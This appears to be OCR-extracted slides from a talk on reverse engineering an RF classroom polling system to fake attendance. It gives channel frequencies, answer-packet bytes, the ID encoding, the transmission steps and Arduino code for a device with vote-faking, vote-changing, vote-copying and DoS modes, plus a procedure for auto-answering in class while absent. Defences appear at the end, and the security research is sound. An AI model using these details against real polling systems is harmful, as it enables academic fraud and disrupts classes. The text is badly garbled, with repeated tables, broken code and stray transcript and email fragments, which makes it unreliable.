Time Turner

Hacking RF Attendance Systems (To Be in Two Places at Once)





FA19 ECE 316 E2 3.0 A+

ENG 100 CS8

FA18

FA18

GS19

2) CORE MATHEMATICS COURSES

0.0 S

4.0 PS

4.0 A-

3.0 A

3.0 A

4.0 A+

4.0 A+

3.0 A

FA18 MATH 220 1

MATH 241 CL2

1) ORIENTATION AND PROFESSIONAL DEVELOPMENT

MATH 415 M16 GS20 MATH 231 AD2

3) PHYSICS SEQUENCE

SP20 PHYS 212 A11 FA20 PHYS 211 A2

4) SCIENCE ELECTIVE

NEEDS:


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
2 COURSES


(COURSE LIST ON DEPARTMENT WEBSITE) FA18 FSHN 120 A

5) COMPUTER SCIENCE REQUIREMENTS

CS 374, CS 421







Grading

Warmups - 5%

Midterm Project - 40%

Final Project - 30%

Attendance - 15%

Quizzes - 10%

Grading

10% Class attendance

40% Homework

50% Project (35% presentation + 15% final report)

Grade does not count toward the student's GPA or earned hours.
More than six total unexcused absences or absent from the final exam without an acceptable excuse counts as a failure not acceptable for degree credit).

Indicates attendance as a visitor only

Δ11*

Audit

Other Grade does not count toward the student's GPA or earned hours.

ABS Absent More than six total unexcused absences or absent from the final exam without an acceptable excuse counts as a failure not acceptable for degree credit).

1 1*	Andit	Indicates attendance as a visitor only													
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01															
02		CS374-ADC 02:00-03:15 (Panding) (Panding)													
03															
04															
05															

A 1 1*

A







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
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26 27 <mark>28 29 30</mark> 31	23 24 25 26 27 28 29	29 30 31	26 27 28 29 30
MAY	JUNE	July	August
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		,	
S M T W T F S	S M T W T F S	S M T W T F S	
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
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


















Aaron Wisner



Jacob Glueck



Charles Cao

Cole Smith





Ammar Askar



Prof. Bruce Land (Advisor)

https://github.com/wizard97/iSkipper https://github.com/charlescao460/iSkipper-Software

Reverse Engineering Classroom Polling: A Case Study

Daniel Wisner III. Jacob Glueck developed 2/2017-5/2017, published 5/2019

polling system is a widely used classroom voting system, which uses transmits the students' answers to the professor using an off the shelf 900 MHz radio. In this article, we completely reverse engineer the protocol used to transmit the answers, allowing an attacker to snoop on submitted answers, change students' answers by resubmitting them, and completely disable the system by flooding it rapidly with fake answers.

Index Terms—Classroom Voting, Reverse Engineering, Security

INTRODUCTION

T N this case study, we investigate the security of the most Lommonly deployed in-class polling system in the US, the by attempting to reverse engineering it.

While a major portion of this paper explores the reverse engineering process of an off the shelf commercial device, this was done so to investigate its security and create/demonstrate practical exploits that we believe make the device unsuitable for use in its intended application. We propose several exploits a nefarious individual with the correct equipment can perform that take advantage of inherit vulnerabilities, these exploits include:

- · Changing other respondees answers
- Creating an auto-answering device

spent several several seconds submitting all 256 possible choices.

2 BACKGROUND

Universities across the globe have adopted electronic inclass polling devices for use in lecture-based classes. Generally, each student in the lecture possesses a wireless remote assigned to him/her, and throughout the lecture, a lecturer can pose questions to the audience that a student can respond to with his/her personal remote. A central base station, managed by the lecturer, receives these audiences' responses and records each student's response. [3]
































918.47

919.97

921.47

922.47

Channel	Transmit Frequency (MHz)	Receive Frequency (MHz)
AA	916.47	902.98
AB	912.47	903.98
AC	913.47	905.48
AD	914.47	906.98
BA	915.47	907.98
BB	918.48	909.48
BC	919.47	910.97
BD	920.47	911.97
CA	921.47	913.47
CB	922.47	914.97
CC	906.48	915.97
CD	907.48	917.47

DA

DB

DC


DD

904.98

908.48

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918.47

919.97

921.47

922.47

Channel	Transmit Frequency (MHz)	Receive Frequency (MHz)
AA	916.47	902.98
AB	912.47	903.98
AC	913.47	905.48
AD	914.47	906.98
BA	915.47	907.98
BB	918.48	909.48
BC	919.47	910.97
BD	920.47	911.97
CA	921.47	913.47
CB	922.47	914.97
CC	906.48	915.97
CD	907.48	917.47

DA

DB

DC

DD

904.98

908.48

910.48

909.48

TABLE 1 Answer Packet Contents

Answer	Packet Contents
A	0x7d, 0x28, 0x0c, 0x01, 0xb2
В	0x7d, 0x28, 0x0c, 0x05, 0xb6
C	0x7d, 0x28, 0x0c, 0x0d, 0xbe
D	0x7d, 0x28, 0x0c, 0x0e, 0xbf
E	0x7d, 0x28, 0x0c, 0x0a, 0xbb

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A	0x7d, 0x28, 0x0c, 0x01, 0xb2
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C	0x7d, 0x28, 0x0c, 0x0d, 0xbe
D	0x7d, 0x28, 0x0c, 0x0e, 0xbf
E	0x7d, 0x28, 0x0c, 0x0a, 0xbb

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D	0x7d, 0x28, 0x0c, 0x0e, 0xbf
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D	0x7d, 0x28, 0x0c, 0x0e, 0xbf
E	0x7d, 0x28, 0x0c, 0x0a, 0xbb

TABLE 3 ID Encoding

(Transposition Cipher)

Byte 0	$I_0[4]$	$I_0[3]$	$I_0[2]$	$I_0[1]$	$I_0[0]$	$I_0[7]$	0	$I_{1}[7]$
Byte 1	$I_1[6]$	$I_{1}[5]$	$I_1[4]$	$I_1[3]$	$I_1[2]$	$I_1[1]$	0	$I_0[6]$
Byte 2	$I_1[0]$	$I_{2}[7]$	$I_{2}[6]$	$I_{2}[5]$	$I_2[4]$	$I_{2}[3]$	0	$I_0[5]$
Byte 3	$I_2[2]$	$I_2[1]$	$I_2[0]$	$I_2[0]$	0	0	0	0

TABLE 1 Answer Packet Contents

Answer A B C D E	Packet Contents 0x7d, 0x28, 0x0c, 0x01, 0xb2 0x7d, 0x28, 0x0c, 0x05, 0xb6 0x7d, 0x28, 0x0c, 0x0d, 0xbe 0x7d, 0x28, 0x0c, 0x0e, 0xbf 0x7d, 0x28, 0x0c, 0x0a, 0xbb				8F941	e ID Ched 1 803 ⊕ 0x94 ⊕ 0		
	TABLE 3				(Trans	sposition Ci	pher)	
Byte 0 Byte 1 Byte 2 Byte 3	$I_0[4]$ $I_1[6]$ $I_1[0]$ $I_2[2]$	$I_0[3]$ $I_1[5]$ $I_2[7]$ $I_2[1]$	$I_0[2]$ $I_1[4]$ $I_2[6]$ $I_2[0]$	$I_0[1]$ $I_1[3]$ $I_2[5]$ $I_2[0]$	$I_0[0] \ I_1[2] \ I_2[4] \ 0$	$I_0[7] \ I_1[1] \ I_2[3] \ 0$	0 0 0 0	$I_{1}[7]$ $I_{0}[6]$ $I_{0}[5]$

TABLE 1 Answer Packet Contents

Answer	Packet Contents					
A	0x7d, 0x28, 0x0c, 0x01, 0xb2					
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E	0x7d, 0x28, 0x0c, 0x0a, 0xbb					

	IABLE 1
Answer	Packet Contents

TABLE

Aı	nswer Packet Contents	TABLE 4 4th Byte Least Significant Nibble Answer Encodi				
Answer	Packet Contents	-				
A	0x7d, 0x28, 0x0c, 0x01, 0xb2 0x7d, 0x28, 0x0c, 0x05, 0xb6	Answer	Least Significant Nibble of 4th Byte			
D	UX/Q. UXZO. UXUC. UXUSI UXDO					

THISWCI	Tucket Contents	-	
A	0x7d, 0x28, 0x0c, 0x01 0xb2	Answer	Least Significant Nibble of 4th Byte
В	0x7d, 0x28, 0x0c, 0x05, 0xb6	1 to	A 1 1 2 1 2 1 2 1 2 1 2 1 2 1 2 1 2 1 2
C	0x7d, 0x28, 0x0c, 0x0d, 0xbe	A	0x1
D	0x7d, 0x28, 0x0c, 0x0e, 0xbf	В	0x5
E	0x7d, 0x28, 0x0c, 0x0a, 0xbb	C	0xd
		D	0xe
		E	0xa

TABLE 1
Answer Packet Contents

TABLE 6 Last Byte of Answer Packet

Answer	Packet Contents	Answer	Last Byte of Answer Packet		
A B C D	0x7d, 0x28, 0x0c, 0x01, 0xb2 0x7d, 0x28, 0x0c, 0x05, 0xb6 0x7d, 0x28, 0x0c, 0x0d, 0xbe 0x7d, 0x28, 0x0c, 0x0e, 0xbf 0x7d, 0x28, 0x0c, 0x0a, 0xbb	A B C D E Ping	bytesum(packet[0:5]) mod $256 + 1$ bytesum(packet[0:5]) mod $256 + 5$ bytesum(packet[0:5]) mod $256 + 13$ bytesum(packet[0:5]) mod $256 + 14$ bytesum(packet[0:5]) mod $256 + 10$ bytesum(packet[0:5]) mod $256 + 2$		

PROTOCOL

With the packet encoding figured out, the answer submission process can concisely be described as follows:

- Generate first 3 bytes and 1 nibble of answer packet
 - by encoding the 4 byte remote ID using Table 3 Set the least significant nibble of the 4th byte based
 - on answer choice using Table 4 Set the 5th byte based on answer using Table 6 Transmit the following with 2-FSK modulation (fre-4)

transmit frequency defined in Table 2:

above

3 bytes of preamble (0x55 or 0xAA) The 3 byte sync address: 0x85, 0x85, 0x85 The encoded 5 byte answer packet created

quency deviation of 222.833 KHz) at 152 kb/s at the

5) The base station will acknowledge receipt of the answer by sending back (ignoring the preamble) a 9 byte packet: the first 2 bytes are the first 2 bytes of the encoded remote ID (sync address), followed by an unknown 7-byte payload.



https://github.com/VCNinc/Time-Turner



```
#include <Adafruit GFX.h>
#include <Adafruit SSD1306.h>
#include "iClickerEmulator.h"
#include <RingBufCPP.h>
#include <string.h>
#define MY CLICKER ID 0x0000AAAA
#define BUTTON A 9
#define BUTTON B 6
#define BUTTON C 5
#define IS RFM69HW true
#define IRQ PIN 3
#define CSN 8
#define VBATPIN A7
#define MAX BUFFERED PACKETS 100
#define THRESHOLD 1000
#define MAX RECVD 500
#define RAND LOW 35
#define RAND HIGH 75
uint8 t clicker id[4];
int hii = 0:
int dos = 0:
Adafruit SSD1306 display = Adafruit SSD1306(128, 32, &Wire);
iClickerAnswerPacket recvd[MAX RECVD];
uint32 t num recvd = 0;
iClickerEmulator clicker(CSN, IRQ PIN, digitalPinToInterrupt(IRQ PIN), IS RFM69HW);
RingBufCPP<iClickerPacket, MAX BUFFERED PACKETS> recvBuf;
int mode = 0:
int ans = 0:
bool active = false;
int ctr = 0;
bool a state = true;
bool b state = true;
bool c state = true;
int sent = -1:
float measuredybat = 0:
int batpercentage:
void input() {
 float measuredvbat = round((((float(analogRead(VBATPIN))/1024)*2*3.3) - 3.2) * 100);
  bool a read = (measuredvbat < -140);
  bool b read = digitalRead(BUTTON B);
  bool c read = digitalRead(BUTTON C):
  if(a_read && a_read != a_state) {
    mode = (mode + 1) % 6:
    active = false:
  if(b read && b read != b state) {
    ans = (ans + 1) \% 5;
```

#include <SPI.h>

#include <Wire.h>

```
display.setTextColor(SSD1306 WHITE);
display.setCursor(100,24);
display.println(String(batpercentage) + "%");
display.setCursor(0.0):
switch(mode) {
  case 0:
    display.println("A) Mode: View Votes");
    display.println("A) Mode: Fake Votes");
    break:
    display.println("A) Mode: Change Votes");
    break;
  case 3:
    display.println("A) Mode: DoS Attack");
    display.println("A) Mode: Copy Votes");
    break:
    display.println("A) Mode: Vote Choice");
switch(ans) {
    display.println("B) Choice: A");
    break:
  case 1:
    display.println("B) Choice: B");
    break;
  case 2:
    display.println("B) Choice: C");
    break:
  case 3:
    display.println("B) Choice: D");
    break:
  case 4:
    display.println("B) Choice: E");
    break;
if(active) {
  display.println("C) Active: Yes");
  ctr = (++ctr) % 50:
  if (ctr == 0) sent = -1;
  if(mode == 0 | mode == 4 | mode == 5) {
      char tmp[100];
      uint16 t res[NUM ANSWER CHOICES] = { 0 };
      for (uint32 t i = 0; i < num recvd; i++) {
       res[recvd[i].answer]++;
      snprintf(tmp, sizeof(tmp), "A%u B%u C%u D%u E%u",
      if(mode == 5) {
       switch(ans) {
         case 0:
```

https://github.com/VCNinc/Time-Turner



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#define BUTTON C 5
#define IS RFM69HW true
#define IRQ PIN 3
#define CSN 8
#define VBATPIN A7
#define MAX BUFFERED PACKETS 100
#define THRESHOLD 1000
#define MAX RECVD 500
#define RAND LOW 35
#define RAND HIGH 75
uint8 t clicker id[4];
int hii = 0:
int dos = 0:
Adafruit SSD1306 display = Adafruit SSD1306(128, 32, &Wire);
iClickerAnswerPacket recvd[MAX RECVD];
uint32 t num recvd = 0;
iClickerEmulator clicker(CSN, IRQ PIN, digitalPinToInterrupt(IRQ PIN), IS RFM69HW);
RingBufCPP<iClickerPacket, MAX BUFFERED PACKETS> recvBuf;
int mode = 0:
int ans = 0:
bool active = false;
int ctr = 0;
bool a state = true;
bool b state = true;
bool c state = true;
int sent = -1:
float measuredybat = 0:
int batpercentage:
void input() {
 float measuredvbat = round((((float(analogRead(VBATPIN))/1024)*2*3.3) - 3.2) * 100);
  bool a read = (measuredvbat < -140);
  bool b read = digitalRead(BUTTON B);
  bool c read = digitalRead(BUTTON C):
  if(a_read && a_read != a_state) {
    mode = (mode + 1) % 6:
    active = false:
  if(b read && b read != b state) {
    ans = (ans + 1) \% 5;
```

#include <SPI.h>

#include <Wire.h>

```
display.setTextColor(SSD1306 WHITE);
display.setCursor(100,24);
display.println(String(batpercentage) + "%");
display.setCursor(0.0):
switch(mode) {
  case 0:
    display.println("A) Mode: View Votes");
    display.println("A) Mode: Fake Votes");
    break:
    display.println("A) Mode: Change Votes");
    break;
  case 3:
    display.println("A) Mode: DoS Attack");
    display.println("A) Mode: Copy Votes");
    break:
    display.println("A) Mode: Vote Choice");
switch(ans) {
    display.println("B) Choice: A");
    break:
  case 1:
    display.println("B) Choice: B");
    break;
  case 2:
    display.println("B) Choice: C");
    break:
  case 3:
    display.println("B) Choice: D");
    break:
  case 4:
    display.println("B) Choice: E");
    break;
if(active) {
  display.println("C) Active: Yes");
  ctr = (++ctr) % 50:
  if (ctr == 0) sent = -1;
  if(mode == 0 | mode == 4 | mode == 5) {
      char tmp[100];
      uint16 t res[NUM ANSWER CHOICES] = { 0 };
      for (uint32 t i = 0; i < num recvd; i++) {
       res[recvd[i].answer]++;
      snprintf(tmp, sizeof(tmp), "A%u B%u C%u D%u E%u",
      if(mode == 5) {
       switch(ans) {
         case 0:
```








DEMO 3



Channel: AA

ID: CDCDCDCD




Response Count: 77

A:12

B:13


c:16 D:26




"Time Turner" Protocol

- Remain idle until the class is about to begin
- 2. Turn on and start emulating both a remote and a base station
- 3. Wait until device overhears a burst of radio traffic
- 4. Determine most popular student response using base station emulator
- 5. Broadcast most popular response from remote emulator
- 6. Repeat 2-5 until the expected end time of the class
















Assignment Name	Point Breakdo	own			ment Name Point Breakdown										
Bonus 95%	1. 100.0%	2. 100.0%	3. 0.0%	4. 0.0%	5. 100.0%	6.	7. 100.0%	8. 100.0%							
Checkpoints 100%	1. 100.0%	Bor	alle			6. 100.0%	7. 100.0%	8. 100.0%							
Discussions 95%	Quiz 1 0.0% (EX)				Quiz 6 100.0%	Quiz 7 100.0%	Quiz 8 100.0%								
Exams 94%	1. 97.1%	95%	0												
Exams - Scaled 94%	1. 97.1%	2. 87.0%	3. 93.6%	4. 96.8%											
Homework 98%	1. 100.0%	Δtt	endai	nce		6. 97.5%	7. 99.5%	8. 98.7%							
James Scholar	1.	ALL	illuai	ICC											
Labs 98%	1. 0.0% (EX)	96%	6			6. 100.0%	7. 100.0%	8. 100.0%							
Attendance 96%	1. 100.0%	100.0%	0.0%	0.0%	100.0%	6. 100.0%	7. 100.0%	8. 100.0%							
Prelectures 100%	1. 100.0%	2. 100.0%	3. 100.0%	4. 100.0%	5. 100.0%	6. 100.0%	7. 100.0%	8. 100.0%							

An authentication mechanism can be:

1. Something you know (eg. passwords)

- 1. Something you know (eg. passwords)
- 2. Something you have (eg. U2F keys)

- 1. Something you know (eg. passwords)
- 2. Something you have (eg. U2F keys)
- 3. Something you are (eg. biometrics)

- 1. Something you know (eg. passwords)
- 2. Something you have (eg. U2F keys)
- 3. Something you are (eg. biometrics)
- 4. Polling devices???

TABLE 3 ID Encoding

Byte 0	$I_0[4]$	$I_0[3]$	$I_0[2]$	$I_0[1]$	$I_0[0]$	$I_0[7]$	0	I_1
Byte 1	$I_1[6]$	$I_1[5]$	$I_1[4]$	$I_1[3]$	$I_1[2]$	$I_1[1]$	0	I_0
Byte 2	$I_1[0]$	$I_2[7]$	$I_{2}[6]$	$I_{2}[5]$	$I_2[4]$	$I_2[3]$	0	I_0
Byte 3	$I_2[2]$	$I_2[1]$	$I_2[0]$	$I_2[0]$	0	0	0	0

Kerckhoffs's Principle

A system should be secure even if everything except the key is public knowledge.

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Byte 1	$I_{1}[6]$	$I_{1}[5]$	$I_1[4]$	$I_{1}[3]$	$I_1[2]$	$I_1[1]$	0	$I_0[6]$
Byte 2	$I_1[0]$	$I_{2}[7]$	$I_{2}[6]$	$I_{2}[5]$	$I_{2}[4]$	$I_{2}[3]$	0	$I_0[5]$
Byte 3	$I_2[2]$	$I_2[1]$	$I_{2}[0]$	$I_{2}[0]$	0	0	0	0

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Byte 2	$I_1[0]$	$I_{2}[7]$	$I_{2}[6]$	$I_{2}[5]$	$I_{2}[4]$	$I_{2}[3]$	0	$I_0[5]$
Byte 3	$I_2[2]$	$I_2[1]$	$I_{2}[0]$	$I_{2}[0]$	0	0	0	0

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TABLE 3 ID Encoding


Byte 0	$I_0[4]$	$I_0[3]$	$I_0[2]$	$I_0[1]$	$I_0[0]$	$I_0[7]$	0	$I_1[7]$
Byte 1	$I_{1}[6]$	$I_{1}[5]$	$I_1[4]$	$I_{1}[3]$	$I_1[2]$	$I_1[1]$	0	$I_0[6]$
Byte 2	$I_1[0]$	$I_{2}[7]$	$I_{2}[6]$	$I_{2}[5]$	$I_{2}[4]$	$I_{2}[3]$	0	$I_0[5]$
Byte 3	$I_2[2]$	$I_2[1]$	$I_{2}[0]$	$I_{2}[0]$	0	0	0	0

Confidentiality

- Confidentiality
- Integrity

- Confidentiality
- Integrity
- Availability

- Confidentiality
- Integrity
- Availability



- Confidentiality
- Integrity
- Availability



CIA Properties

- Confidentiality
- Integrity
- Availability






TABLE 2 Channel Frequencies

Channel	Transmit Frequency (MHz)	Receive Frequency (MHz)
AA	916.47	902.98
AB	912.47	903.98
AC	913.47	905.48
AD	914.47	906.98
BA	915.47	907.98
BB	918.48	909.48
BC	919.47	910.97
BD	920.47	911.97
CA	921.47	913.47
CB	922.47	914.97
CC	906.48	915.97
CD	907.48	917.47
DA	904.98	918.47
DB	908.48	919.97
DC	910.48	921.47
DD	909.48	922.47

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
TABLE 1 Answer Packet Contents

Answer	Packet Contents
A	0x7d, 0x28, 0x0c, 0x01, 0xb2
В	0x7d, 0x28, 0x0c, 0x05, 0xb6
C	0x7d, 0x28, 0x0c, 0x0d, 0xbe
D	0x7d, 0x28, 0x0c, 0x0e, 0xbf
E	0x7d, 0x28, 0x0c, 0x0a, 0xbb

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Frequency-hopping spread spectrum




Time

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


Time


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
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
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



Time















Integrity






Integrity



























- 1. Use FHSS to avoid DoS attacks
- 2. Use encryption in transit


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
- 1. Use FHSS to avoid DoS attacks
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- 3. Use PUF
- 4. Use timed challenge-response



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to me *

Mar 14, 2020, 9:56 AM







Greetings from

As you know, the university recommends that beginning March 13, all in-person meetings be moved to an alternative solution. Our classes will be held remotely as of March 23, 2020. Below you will find an outline of our plans moving forward.

Online Strategy

Online Components: Prelecture, Checkpoint and Homework will continue to be delivered using https://

without any changes.

Lectures: Lectures will be built using your responses to the checkpoint questions, recorded and available by 2:00 pm US Central time on the day of the lecture via a link on the course schedule https:// It is expected that all students will review the lecture and attempt the interactive questions therefore all will be awarded full participation and bonus points.

Discussion: Your discussion TA will send you a zoom link which will give you access to a virtual discussion room during your usual discussion time.

Discussion Quiz: A link to a pdf of the guiz will be posted on the course syllabus on Thursday at 6 PM US Central time. You will have 24 hours to complete the quiz, and upload a pdf version of your hand written solutions to this link https://

We have made a demo assignment that will allow you to upload a pdf right now just to test that the system works for you. Note, that you can upload as many times as you want before the deadline. The most recent submission will be grades. We are providing 24 hours to complete the quiz in order to accommodate a variety of schedules. However we expect that the work you submit is completed on your own, using only the course formula sheet and a calculator, just as we would do during class. Using any additional resources will considered a violation of academic integrity.

Lab: Complete your prelab as usual. Take a picture and upload it as a pdf using same upload link https://







to me ▼

Mar 14, 2020, 9:56 AM







Greetings from

As you know, the university recommends that beginning March 13, all in-person meetings be moved to an alternative solution. Our classes will be held

remotely as of March 27

"Our classes will be held remotely"

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